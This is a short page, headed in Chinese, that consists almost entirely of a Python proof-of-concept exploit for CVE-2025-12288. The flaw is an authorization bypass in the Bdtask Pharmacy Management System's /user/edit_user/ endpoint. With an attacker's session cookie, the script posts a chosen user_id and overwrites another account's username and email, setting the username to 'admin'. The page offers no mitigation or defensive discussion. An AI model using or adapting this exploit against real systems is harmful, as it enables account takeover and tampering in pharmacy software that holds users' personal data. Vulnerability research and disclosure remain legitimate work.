CVE-2025-12288 Bdtask Pharmacy Management System授权绕过漏洞

import requests import sys # CVE-2025-12288 PoC - Authorization Bypass in Bdtask Pharmacy Management System # Target: /user/edit_user/ endpoint def exploit(target_url, attacker_session, target_user_id, modified_data): """ Exploit authorization bypass in user profile handler """ endpoint = f"{target_url}/user/edit_user/" headers = { 'Cookie': f'session={attacker_session}', 'Content-Type': 'application/x-www-form-urlencoded' } # Original user data with modified target_user_id payload = { 'user_id': target_user_id, # Target user to modify 'username': modified_data.get('username', ''), 'email': modified_data.get('email', ''), 'phone': modified_data.get('phone', ''), 'address': modified_data.get('address', '') } print(f"[*] Exploiting CVE-2025-12288...") print(f"[*] Target endpoint: {endpoint}") print(f"[*] Attempting to modify user_id: {target_user_id}") try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-12288.py <target_url> <session_cookie> <target_user_id> <attacker_data_json>") sys.exit(1) target = sys.argv[1] session = sys.argv[2] target_id = sys.argv[3] data = {'username': 'admin', 'email': '[email protected]'} exploit(target, session, target_id, data)